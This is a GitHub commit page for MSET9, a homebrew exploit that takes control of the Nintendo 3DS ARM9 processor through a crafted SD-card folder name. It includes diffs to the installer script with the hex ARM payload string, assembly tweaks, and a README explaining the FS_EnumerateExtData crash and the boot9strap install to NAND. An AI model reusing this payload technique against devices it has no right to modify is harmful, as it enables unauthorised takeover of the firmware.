Skip to content

Commit

Permalink
Final touches to prepare for beta release
Browse files Browse the repository at this point in the history
  • Loading branch information
zoogie committed Oct 2, 2023
1 parent 66907b3 commit 9ecc501
Show file tree
Hide file tree
Showing 7 changed files with 65 additions and 19 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -43,6 +43,7 @@
*.idb
*.pdb
*.lst
haxID1_output.txt

# Kernel Module Compile Results
*.mod*
Expand Down
3 changes: 3 additions & 0 deletions .gitmodules
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
[submodule "usr2arm9ldr"]
path = usr2arm9ldr
url = https://github.com/zoogie/usr2arm9ldr
2 changes: 1 addition & 1 deletion ID1gen/ID1gen.s
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ thumb_section:

mov r0, sp @this
mov r1, r11 @ read_size
add r2, sp, #0x3fc @ dest
add r2, sp, #0x300 @ dest
mov r7, r2 @ save dest for later branch
mov r3, r8 @ size

Expand Down
18 changes: 13 additions & 5 deletions MSET9_installer_script/mset9.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
#!/usr/bin/python3
import os,sys,platform,time,shutil,binascii
VERSION="v2beta"

p=platform.system()
if p == 'Windows': #0-win, 1-lin, 2-mac, x-win lol go with the market leader i guess
Expand All @@ -21,7 +22,8 @@
trigger="002F003A.txt" #all 3ds ":/"

#old3ds 11.8-11.17
id1_haxstr="FFFFFFFA119907488546696508A10122054B984768465946FFAA171C4346034CA047B84700900A0871A0050899CE0408730064006D00630000900A0862003900"
#id1_haxstr="FFFFFFFA119907488546696508A10122054B984768465946FFAA171C4346034CA047B84700900A0871A0050899CE0408730064006D00630000900A0862003900"
id1_haxstr="FFFFFFFA119907488546696508A10122054B984768465946C0AA171C4346034CA047B84700900A0871A0050899CE0408730064006D00630000900A0862003900"

haxid1=bytes.fromhex(id1_haxstr) #ID1 - arm injected payload in readable format
haxid1=haxid1.decode("utf-16le")
Expand All @@ -35,8 +37,8 @@
mode=0 #0 setup state, 1 hax state
id0_count=0

home_menu=[0x8f,0x98,0x82] #us,eu,jp
mii_maker=[0x217,0x227,0x207]
home_menu=[0x8f,0x98,0x82,0xA1,0xA9,0xB1] #us,eu,jp,ch,kr,tw
mii_maker=[0x217,0x227,0x207,0x267,0x277,0x287] #us,eu,jp,ch,kr,tw

if not os.path.exists("Nintendo 3DS/"):
print("Are you sure you're running this script from the root of your SD card (right next to 'Nintendo 3DS')? You need to!")
Expand Down Expand Up @@ -67,6 +69,8 @@

def setup():
global mode, id1_path, id1_root, id1
menu_ok=0
mii_ok=0
print("Setting up...", end='')
if mode:
print("Already setup!")
Expand All @@ -90,10 +94,14 @@ def setup():
if os.path.exists(temp):
#print(temp,haxid1_path+"/extdata/00000000/%08X" % i)
shutil.copytree(temp,haxid1_path+"/extdata/00000000/%08X" % i)
menu_ok+=1
assert(menu_ok==1)
for i in mii_maker:
temp=ext_root+"/%08X" % i
if os.path.exists(temp):
shutil.copytree(temp,haxid1_path+"/extdata/00000000/%08X" % i)
mii_ok+=1
assert(mii_ok==1)

if os.path.exists(id1_path):
os.rename(id1_path, id1_path+oldtag)
Expand Down Expand Up @@ -127,7 +135,7 @@ def delete():
def remove():
global mode, id1_path, id1_root, id1
print("Removing...", end='')
if mode==0:
if not os.path.exists(id1_root+"/"+haxid1) and (os.path.exists(id1_path) and oldtag not in id1_path):
print("Nothing to remove!")
return
if os.path.exists(id1_path) and oldtag in id1_path:
Expand Down Expand Up @@ -182,7 +190,7 @@ def reapply_cwd():
else: #linux or mac
_ = os.system('clear')

print("MSET9 SETUP by zoogie")
print("MSET9 %s SETUP by zoogie" % VERSION)

print("-- Please type in a number then hit return --\n")
print("1. Setup MSET9")
Expand Down
53 changes: 41 additions & 12 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,39 +3,68 @@
## Thanks
- Luigoalma for some asm help in ID1gen!
- Aspargas2 (the Black Cat) for asm help in ID1gen as well!
- TuxSH for some good suggestions and advice!
- TuxSH for usr2arm9ldr and some good advice!

https://zoogie.github.io/web/m9/(%20%CD%A1%C2%B0%20%CD%9C%CA%96%20%CD%A1%C2%B0).webm

## What it is
This is an ARM9 primary exploit for 3DS that can be launched with only filename data added to the inserted SD card.

## How does it work
When FS_EnumerateExtData is called by MSET (System Settings) to parse 3DS extdata IDs for Data Managment, a file that starts with 8 hex digits can crash ARM9 if placed directly inside the extdata directory. It can crash in various ways based on subtleties in the way the user triggers the crash event.<br>

While mostly leading to null derefs, in one specific context, ARM9 jumps directly to the ID1 string being held nearby in ARM9 memory. By chance, the 3DS doesn't discern what characters are used for the ID1 directory name on the SD, only requiring exactly 32 chars. This allows the attacker to insert arm instructions into the unicode ID1 dirname and take control of ARM9, and thus, full control of the 3DS.
While mostly leading to null derefs, in one specific context, ARM9 jumps directly to the ID1 string being held nearby in ARM9 memory. By chance, the 3DS doesn't discern what characters are used for the ID1 directory name on the SD, only requiring exactly 32 chars. This allows an attacker to insert arm instructions into the unicode ID1 dirname and take control of ARM9, and thus, full control of the 3DS.

## Can I do it?
-- You need an old3ds, latest firm (new3ds will be coming at some point)<br>
-- A spare SD card you can format to blank (this will likely change too, I just don't want people screwing their main sd card up in these early days).<br>
-- You need an old3ds 11.8-11.17, any region (new3ds will be coming at some point)<br>
-- A USB to SD reader<br>
-- Windows/Linux PC (this might be expanded to MAC at some point)<br>

## Directions
In release archive. It may seem long and complex but it really isn't that bad. People who have trouble following directions will struggle though.<br>
There's a lot of room for improvement regarding ease-of-use.

## Troubleshooting
- [mset9.py shows error ".../title.db doesn't exist on sd card"?] Inside sdmc:/Nintendo 3DS/ID0/ID1/dbs, create empty files title.db and import.db. You need to create the dbs folder first. Now go to System Settings -> Data Management -> Nintendo 3DS -> Software and say yes to the prompts to build your database files. Now redo everything from the start.
- [Swirling System Settings loop] This is just a general crash of arm9. Did you follow the instructions.txt EXACTLY? Are you running an old3ds 11.8-11.17?
- [Nothing happens when I reinstert card - just shows mii maker icon] Did you try option 2 on mset9.py on step 6? Go back to step
- [Still can't get it to work] In some stubborn cases, it might be better to just start fresh with a spare blank SD card. For that, follow these steps:
1. Format the spare SD card with SD formatter.<br>
2. Put SD card into 3DS and turn on, wait for menu data to format automatically.<br>
3. Go to Mii Maker and launch it, wait for extdata format, then exit. Turn off 3DS.<br>
4. Take out SD card, put in computer and create the following two empty files (and dbs folder if needed):<br>
sdmc:/Nintendo 3DS/aaaabbbbccccdddd1111222233334444/aaaabbbbccccdddd1111222233334444/dbs/title.db<br>
sdmc:/Nintendo 3DS/aaaabbbbccccdddd1111222233334444/aaaabbbbccccdddd1111222233334444/dbs/import.db<br>
(the long hex number folder names above are just examples, yours will be different)<br>
5. Put SD card back in the 3DS and go to System Settings -> Data Management -> Nintendo 3DS -> Software and agree to the prompts to rebuild the database.<br>
6. Proceed to step 1 on instructions.txt.<br>

## FAQ

Q: This installs boot9strap and writes to NAND?<br>
A: Yes! What else ya gonna do with ARM9 control, a9lh? pastaCFW? :p<br>
A: Yes! What else ya gonna do with ARM9 control, a9lh? pastaCFW? sketchy tetris clones" :p<br>
Q: That sounds dangerous, Zoogie!<br>
A: Yeah, it kinda is but the scene's been doing this dangerous stuff for years. Just sit out the beta phase if concerned.<br>
A: Yeah, it kinda is but the scene's been doing this dangerous stuff for years. Just sit out the beta phase if concerned.<br>
Q: What happens if I fail to uninstall the exploit when I'm done?<br>
A: You'll have trouble launching previously installed titles, in addition to random crashes in FBI and System Settings. So make sure to clean up the exploit! (option 4 in the mset9.py menu does this)<br>

(the rest of this is more FYI than anything important)<br>

Q: That file that triggers the exploit (002F003A.txt) ... it kinda looks like ... some virtual address, huh?<br>
A: It's the characters ":/", something we can't display in a typical file/folder name. A convenient fact of that file (besides triggering the overall crash) is that the first 8 chars of that hex filename are converted to a u32 that happens to exist 0x44 past SP, so I can use it to plug in the missing chars in the payload filepath "sdmc??b9", and keep the PC's OS happy.<br>
A: It's the characters ":/", something we can't display in a typical file/folder name. A convenient fact of that file (besides triggering the overall crash) is that the first 8 chars of that hex filename are converted to a u32 that happens to exist 0x44 past SP, so I can use it to plug in the missing chars in the payload filepath "sdmc??b9", and keep the PC's OS happy.<br>
Q: You suggested in the hack explanation above that FS_EnumerateExtData is the responsible function for allowing the crash in MSET/ARM9, could this be called in userland homebrew to take over ARM9?<br>
A: Maybe? I briefly played around with this very idea, but was unable to find a crash context that I could control, unlike the pre-userland method described above. Maybe this could be an exercise for the dedicated user to explore and flesh out this potential variant of MSET9! It could be useful down the line.<br>
Fun fact: The 8 digit hex file, if left in extdata, will also crash FBI when selecting the "Ext Save Data" option in its main menu. It's the only homebrew I know that calls FS_EnumerateExtData.<br>
A: Maybe? I briefly played around with this very idea, but was unable to find a crash context that I could control, unlike the pre-userland method MSET9 is. Maybe this could be an exercise for the dedicated user to explore and flesh out this potential variant of MSET9! It could be useful down the line.<br>
Fun fact: The 8 digit hex file, if left in extdata, will also crash FBI when selecting the "Ext Save Data" option in its main menu. It's the only homebrew I know that calls FS_EnumerateExtData.<br>
Q: You shortened SafeB9SInstaller.bin to SafeB9S.bin, why?
A: Keeps FAT's 8.3 filename standard which avoids Long File Names, and thus enables significant space savings in the FatFs library. "B9" is also used for the same reason albeit not FatFs related. Small code footprint is of paramount importance everywhere in this exploit.<br>
Q: Why doesn't this work on MAC?<br>
A: Because it refuses to render the following unicode craziness: ￿﫿餑䠇䚅敩ꄈ∁䬅䞘䙨䙙꫿ᰗ䙃䰃䞠䞸退ࠊꁱࠅ캙ࠄsdmc退ࠊb9<br>
( ͡° ͜ʖ ͡°)<br>
A: Because it refuses to render the following unicode craziness: ￿﫿餑䠇䚅敩ꄈ∁䬅䞘䙨䙙꫿ᰗ䙃䰃䞠䞸退ࠊꁱࠅ캙ࠄsdmc退ࠊb9<br>
( ͡° ͜ʖ ͡°)<br>

## Additional Thanks
These are repos containing homebrew binaries included in the release archive. Many thanks to the authors.<br>
https://github.com/LumaTeam/Luma3DS<br>
https://github.com/d0k3/GodMode9<br>
https://github.com/d0k3/SafeB9SInstaller (renamed SafeB9S.bin)<br>
https://github.com/devkitPro/3ds-hbmenu<br>
https://github.com/SciresM/boot9strap<br>
https://github.com/Steveice10/FBI<br>
6 changes: 5 additions & 1 deletion id1gen.py
Original file line number Diff line number Diff line change
Expand Up @@ -21,4 +21,8 @@

print("length of path: %d" % len(path)) #always be 32 chars

os.mkdir(path)
os.mkdir(path)

with open("haxID1_output.txt","w") as f:
f.write(path.encode('utf-16le').hex().upper())
f.write("\n\nTo be placed in var id1_haxstr, in mset9.py")
1 change: 1 addition & 0 deletions usr2arm9ldr
Submodule usr2arm9ldr added at fccf0b

0 comments on commit 9ecc501

Please sign in to comment.